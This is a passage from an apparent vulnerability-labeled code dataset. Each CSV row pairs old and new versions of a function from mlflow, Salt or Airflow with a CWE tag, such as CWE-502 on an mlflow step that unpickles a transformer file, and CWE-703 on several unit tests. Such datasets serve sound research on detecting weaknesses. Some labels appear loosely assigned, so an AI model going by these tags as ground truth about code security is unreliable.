pyfunc_model_tmp_path = os.path.join(tmp.path(), ""pyfunc_model"")
mlflow.pyfunc.save_model(
path=pyfunc_model_tmp_path,
python_model=wrapped_model,
artifacts=artifacts,
)
tempModel = mlflow.pyfunc.load_model(pyfunc_model_tmp_path)
model_schema = infer_signature(
raw_X_train, tempModel.predict(raw_X_train.copy())
)
mlflow.pyfunc.save_model(
path=model_uri,
python_model=wrapped_model,
artifacts=artifacts,
signature=model_schema,
code_path=self.code_paths,
)
model = mlflow.pyfunc.load_model(model_uri)
# Adding a sklearn flavor to the pyfunc model so models could be loaded easily
# using mlflow.sklearn.load_model
tmp_model_info = Model.load(model_uri)
model_data_subpath = os.path.join(
""artifacts"", TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH, ""model.pkl""
)
model_info = Model(
artifact_path=""train/model"",
run_id=run.info.run_id,
utc_time_created=tmp_model_info.utc_time_created,
flavors=tmp_model_info.flavors,
signature=tmp_model_info.signature, # ModelSignature
saved_input_example_info=tmp_model_info.saved_input_example_info,
model_uuid=tmp_model_info.model_uuid,
mlflow_version=tmp_model_info.mlflow_version,
metadata=tmp_model_info.metadata,
)
model_info.add_flavor(
mlflow.sklearn.FLAVOR_NAME,
pickled_model=model_data_subpath,
sklearn_version=sklearn.__version__,
serialization_format=mlflow.sklearn.SERIALIZATION_FORMAT_CLOUDPICKLE,
code=""code"",
)
model_info.save(f""{model_uri}/MLmodel"")
mlflow.log_artifacts(model_uri, ""train/model"")
with open(os.path.join(output_directory, ""run_id""), ""w"") as f:
f.write(run.info.run_id)
log_code_snapshot(
self.recipe_root, run.info.run_id, recipe_config=self.recipe_config
)
eval_metrics = {}
for dataset_name, (dataset, metric_prefix) in {
""training"": (train_df, ""training_""),
""validation"": (validation_df, ""val_""),
}.items():
eval_config = {
""log_model_explainability"": False,
""metric_prefix"": metric_prefix,
}
if self.positive_class is not None:
eval_config[""pos_label""] = self.positive_class
eval_result = mlflow.evaluate(
model=logged_estimator.model_uri,
data=dataset,
targets=self.target_col,
model_type=_get_model_type_from_template(self.recipe),
evaluators=""default"",
extra_metrics=_load_custom_metrics(
self.recipe_root,
self.evaluation_metrics.values(),
),
evaluator_config=eval_config,
)
eval_result.save(os.path.join(output_directory, f""eval_{dataset_name}""))
eval_metrics[dataset_name] = {
strip_prefix(k, metric_prefix): v for k, v in eval_result.metrics.items()
}
target_data = raw_validation_df[self.target_col]
prediction_result = model.predict(raw_validation_df.drop(self.target_col, axis=1))
use_probability_for_error_rate = False
if isinstance(prediction_result, pd.DataFrame) and {
f""{self.predict_prefix}label"",
f""{self.predict_prefix}score"",
}.issubset(prediction_result.columns):
if self.positive_class:
prediction_result_for_error = prediction_result[
f""{self.predict_prefix}score_{self.positive_class}""
].values
# use_probability_for_error_rate to true to compute error function
# based on positive class
use_probability_for_error_rate = True
else:
prediction_result_for_error = prediction_result[
f""{self.predict_prefix}score""
].values
prediction_result = prediction_result[f""{self.predict_prefix}label""].values
else:
prediction_result_for_error = prediction_result
error_fn = _get_error_fn(
self.recipe,
use_probability=use_probability_for_error_rate,
positive_class=self.positive_class,
)
pred_and_error_df = pd.DataFrame(
{
""target"": target_data,
""prediction"": prediction_result,
""error"": error_fn(prediction_result_for_error, target_data.to_numpy()),
}
)
calibrated_plot = None
train_predictions = model.predict(raw_train_df.drop(self.target_col, axis=1))
if isinstance(train_predictions, pd.DataFrame) and {
f""{self.predict_prefix}label"",
f""{self.predict_prefix}score"",
}.issubset(train_predictions.columns):
predicted_training_data = raw_train_df.assign(
predicted_data=train_predictions[f""{self.predict_prefix}label""],
predicted_score=train_predictions[f""{self.predict_prefix}score""].values,
)
if self.positive_class:
worst_examples_df = BaseStep._generate_worst_examples_dataframe(
raw_train_df,
train_predictions[f""{self.predict_prefix}label""].values,
error_fn(
train_predictions[
f""{self.predict_prefix}score_{self.positive_class}""
].values,
raw_train_df[self.target_col].to_numpy(),
),
self.target_col,
)
if ""calibrate_proba"" in self.step_config and hasattr(
additional_fitted_args.get(""original_estimator""), ""predict_proba""
):
from sklearn.calibration import CalibrationDisplay
calibrated_plot = CalibrationDisplay.from_estimator(
additional_fitted_args.get(""original_estimator""),
raw_train_df.drop(self.target_col, axis=1),
raw_train_df[self.target_col],
pos_label=self.positive_class,
)
else:
# compute worst examples data_frame only if positive class exists
worst_examples_df = pd.DataFrame()
else:
predicted_training_data = raw_train_df.assign(predicted_data=train_predictions)
worst_examples_df = BaseStep._generate_worst_examples_dataframe(
raw_train_df,
train_predictions,
error_fn(train_predictions, raw_train_df[self.target_col].to_numpy()),
self.target_col,
)
predicted_training_data.to_parquet(
os.path.join(output_directory, TrainStep.PREDICTED_TRAINING_DATA_RELATIVE_PATH)
)
leaderboard_df = None
try:
leaderboard_df = self._get_leaderboard_df(run, eval_metrics)
except Exception as e:
_logger.warning(
""Failed to build model leaderboard due to unexpected failure: %s"", e
)
tuning_df = None
if self.step_config[""tuning_enabled""]:
try:
tuning_df = self._get_tuning_df(run, params=best_estimator_params.keys())
except Exception as e:
_logger.warning(
""Failed to build tuning results table due to unexpected failure: %s"", e
)
card = self._build_step_card(
eval_metrics=eval_metrics,
pred_and_error_df=pred_and_error_df,
model_schema=model_schema,
run_id=run.info.run_id,
model_uri=model_uri,
worst_examples_df=worst_examples_df,
train_df=raw_train_df,
output_directory=output_directory,
leaderboard_df=leaderboard_df,
tuning_df=tuning_df,
calibrated_plot=calibrated_plot,
)
card.save_as_html(output_directory)
for step_name in (""ingest"", ""split"", ""transform"", ""train""):
self._log_step_card(run.info.run_id, step_name)
return card
finally:
warnings.warn = original_warn",CWE-502,mlflow/mlflow,690465ad0143d76ae13e9795244ccb6005b431c4,"def _run(self, output_directory):
def my_warn(*args, **kwargs):
timestamp = datetime.datetime.now().strftime(""%Y/%m/%d %H:%M:%S"")
stacklevel = 1 if ""stacklevel"" not in kwargs else kwargs[""stacklevel""]
frame = sys._getframe(stacklevel)
filename = frame.f_code.co_filename
lineno = frame.f_lineno
message = f""{timestamp} {filename}:{lineno}: {args[0]}\n""
with open(os.path.join(output_directory, ""warning_logs.txt""), ""a"") as f:
f.write(message)
original_warn = warnings.warn
warnings.warn = my_warn
try:
import numpy as np
import pandas as pd
import sklearn
from sklearn.pipeline import make_pipeline
from sklearn.utils.class_weight import compute_class_weight
from mlflow.models import infer_signature
with open(os.path.join(output_directory, ""warning_logs.txt""), ""w""):
pass
apply_recipe_tracking_config(self.tracking_config)
transformed_training_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformed_training_data.parquet"",
)
train_df = pd.read_parquet(transformed_training_data_path)
validate_classification_config(
self.task, self.positive_class, train_df, self.target_col
)
self.using_rebalancing = False
if self.extended_task == ""classification/binary"":
classes = np.unique(train_df[self.target_col])
class_weights = compute_class_weight(
class_weight=""balanced"",
classes=classes,
y=train_df[self.target_col],
)
self.original_class_weights = dict(zip(classes, class_weights))
if self.rebalance_training_data and len(classes) == 2:
if len(train_df) > _REBALANCING_CUTOFF:
self.using_rebalancing = True
train_df = self._rebalance_classes(train_df)
else:
_logger.info(
f""Training data has less than {_REBALANCING_CUTOFF} rows, ""
f""skipping rebalancing.""
)
X_train, y_train = train_df.drop(columns=[self.target_col]), train_df[self.target_col]
transformed_validation_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformed_validation_data.parquet"",
)
validation_df = pd.read_parquet(transformed_validation_data_path)
raw_training_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""split"",
relative_path=""train.parquet"",
)
raw_train_df = pd.read_parquet(raw_training_data_path)
raw_X_train = raw_train_df.drop(columns=[self.target_col])
raw_validation_data_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""split"",
relative_path=""validation.parquet"",
)
raw_validation_df = pd.read_parquet(raw_validation_data_path)
transformer_path = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=""transform"",
relative_path=""transformer.pkl"",
)
tags = {
MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.RECIPE),
MLFLOW_RECIPE_TEMPLATE_NAME: self.step_config[""recipe""],
MLFLOW_RECIPE_PROFILE_NAME: self.step_config[""profile""],
MLFLOW_RECIPE_STEP_NAME: MLFLOW_RECIPES_EXECUTION_TARGET_STEP_NAME.get(),
}
run_name = self.tracking_config.run_name
best_estimator_params = None
mlflow.autolog(log_models=False, silent=True)
with mlflow.start_run(run_name=run_name, tags=tags) as run:
estimator = self._resolve_estimator(
X_train, y_train, validation_df, run, output_directory
)
fitted_estimator, additional_fitted_args = self._fitted_estimator(
estimator, X_train, y_train
)
logged_estimator = self._log_estimator_to_mlflow(fitted_estimator, X_train)
# Create a recipe consisting of the transformer+model for test data evaluation
with open(transformer_path, ""rb"") as f:
transformer = cloudpickle.load(f)
mlflow.sklearn.log_model(
transformer, ""transform/transformer"", code_paths=self.code_paths
)
trained_pipeline = make_pipeline(transformer, fitted_estimator)
# Creating a wrapped recipe model which exposes a single predict function
# so it can output both predict and predict_proba(for a classification problem)
# at the same time.
wrapped_model = WrappedRecipeModel(
self.predict_scores_for_all_classes,
self.predict_prefix,
target_column_class_labels=additional_fitted_args.get(
""target_column_class_labels""
),
)
model_uri = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=self.name,
relative_path=TrainStep.MODEL_ARTIFACT_RELATIVE_PATH,
)
sklearn_model_uri = get_step_output_path(
recipe_root_path=self.recipe_root,
step_name=self.name,
relative_path=TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH,
)
if os.path.exists(model_uri):
shutil.rmtree(model_uri)
if os.path.exists(sklearn_model_uri):
shutil.rmtree(sklearn_model_uri)
# Saving the sklearn model as a separate output since `mlflow.evaluate()`, which is
# used in evaluate step of the recipe, needs this model's sklearn representation
# to computes metrics (the pyfunc representation of the user-facing model logged to
# MLflow Tracking is not currently compatible with `mlflow.evaluate()`)
mlflow.sklearn.save_model(trained_pipeline, sklearn_model_uri)
artifacts = {""model_path"": sklearn_model_uri}
with TempDir() as tmp:
# Saving a temp model so that the output schema (signature) of the model's
# pyfunc representation can be inferred and included when logging the model
# to MLflow Tracking. Unfortunately, there is currently no easy way to infer
# the model's signature without first saving a copy of it, and there is no easy
# way to add an inferred signature to an existing model
pyfunc_model_tmp_path = os.path.join(tmp.path(), ""pyfunc_model"")
mlflow.pyfunc.save_model(
path=pyfunc_model_tmp_path,
python_model=wrapped_model,
artifacts=artifacts,
)
tempModel = mlflow.pyfunc.load_model(pyfunc_model_tmp_path)
model_schema = infer_signature(
raw_X_train, tempModel.predict(raw_X_train.copy())
)
mlflow.pyfunc.save_model(
path=model_uri,
python_model=wrapped_model,
artifacts=artifacts,
signature=model_schema,
code_path=self.code_paths,
)
model = mlflow.pyfunc.load_model(model_uri)
# Adding a sklearn flavor to the pyfunc model so models could be loaded easily
# using mlflow.sklearn.load_model
tmp_model_info = Model.load(model_uri)
model_data_subpath = os.path.join(
""artifacts"", TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH, ""model.pkl""
)
model_info = Model(
artifact_path=""train/model"",
run_id=run.info.run_id,
utc_time_created=tmp_model_info.utc_time_created,
flavors=tmp_model_info.flavors,
signature=tmp_model_info.signature, # ModelSignature
saved_input_example_info=tmp_model_info.saved_input_example_info,
model_uuid=tmp_model_info.model_uuid,
mlflow_version=tmp_model_info.mlflow_version,
metadata=tmp_model_info.metadata,
)
model_info.add_flavor(
mlflow.sklearn.FLAVOR_NAME,
pickled_model=model_data_subpath,
sklearn_version=sklearn.__version__,
serialization_format=mlflow.sklearn.SERIALIZATION_FORMAT_CLOUDPICKLE,
code=""code"",
)
model_info.save(f""{model_uri}/MLmodel"")
mlflow.log_artifacts(model_uri, ""train/model"")
with open(os.path.join(output_directory, ""run_id""), ""w"") as f:
f.write(run.info.run_id)
log_code_snapshot(
self.recipe_root, run.info.run_id, recipe_config=self.recipe_config
)
eval_metrics = {}
for dataset_name, (dataset, metric_prefix) in {
""training"": (train_df, ""training_""),
""validation"": (validation_df, ""val_""),
}.items():
eval_config = {
""log_model_explainability"": False,
""metric_prefix"": metric_prefix,
}
if self.positive_class is not None:
eval_config[""pos_label""] = self.positive_class
eval_result = mlflow.evaluate(
model=logged_estimator.model_uri,
data=dataset,
targets=self.target_col,
model_type=_get_model_type_from_template(self.recipe),
evaluators=""default"",
extra_metrics=_load_custom_metrics(
self.recipe_root,
self.evaluation_metrics.values(),
),
evaluator_config=eval_config,
)
eval_result.save(os.path.join(output_directory, f""eval_{dataset_name}""))
eval_metrics[dataset_name] = {
strip_prefix(k, metric_prefix): v for k, v in eval_result.metrics.items()
}
target_data = raw_validation_df[self.target_col]
prediction_result = model.predict(raw_validation_df.drop(self.target_col, axis=1))
use_probability_for_error_rate = False
if isinstance(prediction_result, pd.DataFrame) and {
f""{self.predict_prefix}label"",
f""{self.predict_prefix}score"",
}.issubset(prediction_result.columns):
if self.positive_class:
prediction_result_for_error = prediction_result[
f""{self.predict_prefix}score_{self.positive_class}""
].values
# use_probability_for_error_rate to true to compute error function
# based on positive class
use_probability_for_error_rate = True
else:
prediction_result_for_error = prediction_result[
f""{self.predict_prefix}score""
].values
prediction_result = prediction_result[f""{self.predict_prefix}label""].values
else:
prediction_result_for_error = prediction_result
error_fn = _get_error_fn(
self.recipe,
use_probability=use_probability_for_error_rate,
positive_class=self.positive_class,
)
pred_and_error_df = pd.DataFrame(
{
""target"": target_data,
""prediction"": prediction_result,
""error"": error_fn(prediction_result_for_error, target_data.to_numpy()),
}
)
calibrated_plot = None
train_predictions = model.predict(raw_train_df.drop(self.target_col, axis=1))
if isinstance(train_predictions, pd.DataFrame) and {
f""{self.predict_prefix}label"",
f""{self.predict_prefix}score"",
}.issubset(train_predictions.columns):
predicted_training_data = raw_train_df.assign(
predicted_data=train_predictions[f""{self.predict_prefix}label""],
predicted_score=train_predictions[f""{self.predict_prefix}score""].values,
)
if self.positive_class:
worst_examples_df = BaseStep._generate_worst_examples_dataframe(
raw_train_df,
train_predictions[f""{self.predict_prefix}label""].values,
error_fn(
train_predictions[
f""{self.predict_prefix}score_{self.positive_class}""
].values,
raw_train_df[self.target_col].to_numpy(),
),
self.target_col,
)
if ""calibrate_proba"" in self.step_config and hasattr(
additional_fitted_args.get(""original_estimator""), ""predict_proba""
):
from sklearn.calibration import CalibrationDisplay
calibrated_plot = CalibrationDisplay.from_estimator(
additional_fitted_args.get(""original_estimator""),
raw_train_df.drop(self.target_col, axis=1),
raw_train_df[self.target_col],
pos_label=self.positive_class,
)
else:
# compute worst examples data_frame only if positive class exists
worst_examples_df = pd.DataFrame()
else:
predicted_training_data = raw_train_df.assign(predicted_data=train_predictions)
worst_examples_df = BaseStep._generate_worst_examples_dataframe(
raw_train_df,
train_predictions,
error_fn(train_predictions, raw_train_df[self.target_col].to_numpy()),
self.target_col,
)
predicted_training_data.to_parquet(
os.path.join(output_directory, TrainStep.PREDICTED_TRAINING_DATA_RELATIVE_PATH)
)
leaderboard_df = None
try:
leaderboard_df = self._get_leaderboard_df(run, eval_metrics)
except Exception as e:
_logger.warning(
""Failed to build model leaderboard due to unexpected failure: %s"", e
)
tuning_df = None
if self.step_config[""tuning_enabled""]:
try:
tuning_df = self._get_tuning_df(run, params=best_estimator_params.keys())
except Exception as e:
_logger.warning(
""Failed to build tuning results table due to unexpected failure: %s"", e
)
card = self._build_step_card(
eval_metrics=eval_metrics,
pred_and_error_df=pred_and_error_df,
model_schema=model_schema,
run_id=run.info.run_id,
model_uri=model_uri,
worst_examples_df=worst_examples_df,
train_df=raw_train_df,
output_directory=output_directory,
leaderboard_df=leaderboard_df,
tuning_df=tuning_df,
calibrated_plot=calibrated_plot,
)
card.save_as_html(output_directory)
for step_name in (""ingest"", ""split"", ""transform"", ""train""):
self._log_step_card(run.info.run_id, step_name)
return card
finally:
warnings.warn = original_warn"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_selinux.py,1,"def test_port_policy_present():
""""""
Test to set up an SELinux port.
""""""
name = ""tcp/8080""
protocol = ""tcp""
port = ""8080""
ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}
# Test when already present with same sel_type
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
return_value={
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
}
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
comt = (
f'SELinux policy for ""{name}"" already present '
+ 'with specified sel_type ""http_cache_port_t"", protocol ""None"" '
+ 'and port ""None"".'
)
ret.update({""comment"": comt, ""result"": True})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
comt = (
'SELinux policy for ""name"" already present '
+ f'with specified sel_type ""http_cache_port_t"", protocol ""{protocol}"" '
+ f'and port ""{port}"".'
)
ret.update({""comment"": comt, ""changes"": {}, ""result"": True, ""name"": ""name""})
assert (
selinux.port_policy_present(""name"", ""http_cache_port_t"", protocol, port)
== ret
)
ret.update({""name"": name})
# Test adding new port policy
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": True}):
ret.update({""comment"": """", ""result"": None})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""comment"": """",
""changes"": {
""old"": None,
""new"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
},
""result"": True,
}
)
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
# Test modifying policy to a new sel_type
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
{""sel_type"": ""http_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": True}):
ret.update({""comment"": """", ""changes"": {}, ""result"": None})
assert selinux.port_policy_present(name, ""http_port_t"") == ret
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""comment"": """",
""changes"": {
""old"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
""new"": {
""sel_type"": ""http_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
},
""result"": True,
}
)
assert selinux.port_policy_present(name, ""http_port_t"") == ret
# Test adding new port policy with custom name and using protocol and port parameters
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8081""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""name"": ""required_protocol_port"",
""comment"": """",
""changes"": {
""old"": None,
""new"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8081"",
},
},
""result"": True,
}
)
assert (
selinux.port_policy_present(
""required_protocol_port"",
""http_cache_port_t"",
protocol=""tcp"",
port=""8081"",
)
== ret
)
# Test failure of adding new policy
mock_add = MagicMock(return_value={""retcode"": 1})
mock_modify = MagicMock(return_value={""retcode"": 1})
mock_get = MagicMock(return_value=None)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
comt = ""Error adding new policy: {'retcode': 1}""
ret.update({""name"": name, ""comment"": comt, ""changes"": {}, ""result"": False})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret",CWE-703,saltstack/salt,628c0d271349b173b4af7c8bd9b88890c033a2ed,"def test_port_policy_present():
""""""
Test to set up an SELinux port.
""""""
name = ""tcp/8080""
protocol = ""tcp""
port = ""8080""
ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}
# Test when already present with same sel_type
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
return_value={
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
}
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
comt = (
f'SELinux policy for ""{name}"" already present '
+ f'with specified sel_type ""http_cache_port_t"", protocol ""None"" '
+ f'and port ""None"".'
)
ret.update({""comment"": comt, ""result"": True})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
comt = (
f'SELinux policy for ""name"" already present '
+ f'with specified sel_type ""http_cache_port_t"", protocol ""{protocol}"" '
+ f'and port ""{port}"".'
)
ret.update({""comment"": comt, ""changes"": {}, ""result"": True, ""name"": ""name""})
assert (
selinux.port_policy_present(""name"", ""http_cache_port_t"", protocol, port)
== ret
)
ret.update({""name"": name})
# Test adding new port policy
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": True}):
ret.update({""comment"": """", ""result"": None})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""comment"": """",
""changes"": {
""old"": None,
""new"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
},
""result"": True,
}
)
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret
# Test modifying policy to a new sel_type
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
{""sel_type"": ""http_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": True}):
ret.update({""comment"": """", ""changes"": {}, ""result"": None})
assert selinux.port_policy_present(name, ""http_port_t"") == ret
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""comment"": """",
""changes"": {
""old"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
""new"": {
""sel_type"": ""http_port_t"",
""protocol"": ""tcp"",
""port"": ""8080"",
},
},
""result"": True,
}
)
assert selinux.port_policy_present(name, ""http_port_t"") == ret
# Test adding new port policy with custom name and using protocol and port parameters
mock_add = MagicMock(return_value={""retcode"": 0})
mock_modify = MagicMock(return_value={""retcode"": 0})
mock_get = MagicMock(
side_effect=[
None,
None,
{""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8081""},
]
)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
ret.update(
{
""name"": ""required_protocol_port"",
""comment"": """",
""changes"": {
""old"": None,
""new"": {
""sel_type"": ""http_cache_port_t"",
""protocol"": ""tcp"",
""port"": ""8081"",
},
},
""result"": True,
}
)
assert (
selinux.port_policy_present(
""required_protocol_port"",
""http_cache_port_t"",
protocol=""tcp"",
port=""8081"",
)
== ret
)
# Test failure of adding new policy
mock_add = MagicMock(return_value={""retcode"": 1})
mock_modify = MagicMock(return_value={""retcode"": 1})
mock_get = MagicMock(return_value=None)
with patch.dict(
selinux.__salt__,
{
""selinux.port_get_policy"": mock_get,
""selinux.port_add_policy"": mock_add,
""selinux.port_modify_policy"": mock_modify,
},
):
with patch.dict(selinux.__opts__, {""test"": False}):
comt = ""Error adding new policy: {'retcode': 1}""
ret.update({""name"": name, ""comment"": comt, ""changes"": {}, ""result"": False})
assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/log.py,0,"def load_remote_log_handler() -> RemoteLogIO | None:
import airflow.logging_config
return airflow.logging_config.REMOTE_TASK_LOG",CWE-Unknown,apache/airflow,e4fb6862c6b16f790fed1baa4af8882125c984c9,"def load_remote_log_handler() -> RemoteLogIO | None:
import airflow.logging_config
return airflow.logging_config.REMOTE_TASK_LOG"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/api/test_client.py,1,"def test_get_count_with_all_params(self):
""""""Test get_count with all optional parameters.""""""
logical_dates_str = [""2024-01-01T00:00:00+00:00"", ""2024-01-02T00:00:00+00:00""]
logical_dates = [timezone.parse(d) for d in logical_dates_str]
task_ids = [""task1"", ""task2""]
states = [""success"", ""failed""]
def handle_request(request: httpx.Request) -> httpx.Response:
assert request.url.path == ""/task-instances/count""
assert request.method == ""GET""
params = request.url.params
assert params[""dag_id""] == ""test_dag""
assert params.get_list(""task_ids"") == task_ids
assert params[""task_group_id""] == ""group1""
assert params.get_list(""logical_dates"") == logical_dates_str
assert params.get_list(""run_ids"") == []
assert params.get_list(""states"") == states
return httpx.Response(200, json=10)
client = make_client(transport=httpx.MockTransport(handle_request))
result = client.task_instances.get_count(
dag_id=""test_dag"",
task_ids=task_ids,
task_group_id=""group1"",
logical_dates=logical_dates,
states=states,
)
assert result.count == 10",CWE-703,apache/airflow,ef80791fbae6a48059cf2870b7e175a61cf7c361,"def test_get_count_with_all_params(self):
""""""Test get_count with all optional parameters.""""""
logical_dates_str = [""2024-01-01T00:00:00+00:00"", ""2024-01-02T00:00:00+00:00""]
logical_dates = [timezone.parse(d) for d in logical_dates_str]
task_ids = [""task1"", ""task2""]
states = [""success"", ""failed""]
def handle_request(request: httpx.Request) -> httpx.Response:
assert request.url.path == ""/task-instances/count""
assert request.method == ""GET""
params = request.url.params
assert params[""dag_id""] == ""test_dag""
assert params.get_list(""task_ids"") == task_ids
assert params[""task_group_id""] == ""group1""
assert params.get_list(""logical_dates"") == logical_dates_str
assert params.get_list(""run_ids"") == []
assert params.get_list(""states"") == states
return httpx.Response(200, json=10)
client = make_client(transport=httpx.MockTransport(handle_request))
result = client.task_instances.get_count(
dag_id=""test_dag"",
task_ids=task_ids,
task_group_id=""group1"",
logical_dates=logical_dates,
states=states,
)
assert result.count == 10"
,UNKNOWN,UNKNOWN,tests/operators/test_trigger_dagrun.py,1,"def test_trigger_dagrun(self, dag_maker):
""""""Test TriggerDagRunOperator.""""""
with time_machine.travel(""2025-02-18T08:04:46Z"", tick=False):
with dag_maker(
TEST_DAG_ID, default_args={""owner"": ""airflow"", ""start_date"": DEFAULT_DATE}, serialized=True
):
task = TriggerDagRunOperator(task_id=""test_task"", trigger_dag_id=TRIGGERED_DAG_ID)
dag_maker.sync_dagbag_to_db()
parse_and_sync_to_db(self.f_name)
dag_maker.create_dagrun()
task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
dagrun = dag_maker.session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
assert dagrun.run_type == DagRunType.MANUAL
actual_run_id = dagrun.run_id.rsplit(""_"", 1)[0]
expected_run_id = DagRun.generate_run_id(
run_type=DagRunType.MANUAL, run_after=timezone.utcnow()
).rsplit(""_"", 1)[0]
assert actual_run_id == expected_run_id
self.assert_extra_link(dagrun, task, dag_maker.session)",CWE-703,apache/airflow,811fa2b016ca613061e5d4d32fee005e53c1bf1d,"def test_trigger_dagrun(self, dag_maker):
""""""Test TriggerDagRunOperator.""""""
with time_machine.travel(""2025-02-18T08:04:46Z"", tick=False):
with dag_maker(
TEST_DAG_ID, default_args={""owner"": ""airflow"", ""start_date"": DEFAULT_DATE}, serialized=True
):
task = TriggerDagRunOperator(task_id=""test_task"", trigger_dag_id=TRIGGERED_DAG_ID)
dag_maker.sync_dagbag_to_db()
parse_and_sync_to_db(self.f_name)
dag_maker.create_dagrun()
task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
dagrun = dag_maker.session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
assert dagrun.external_trigger
actual_run_id = dagrun.run_id.rsplit(""_"", 1)[0]
expected_run_id = DagRun.generate_run_id(
run_type=DagRunType.MANUAL, run_after=timezone.utcnow()
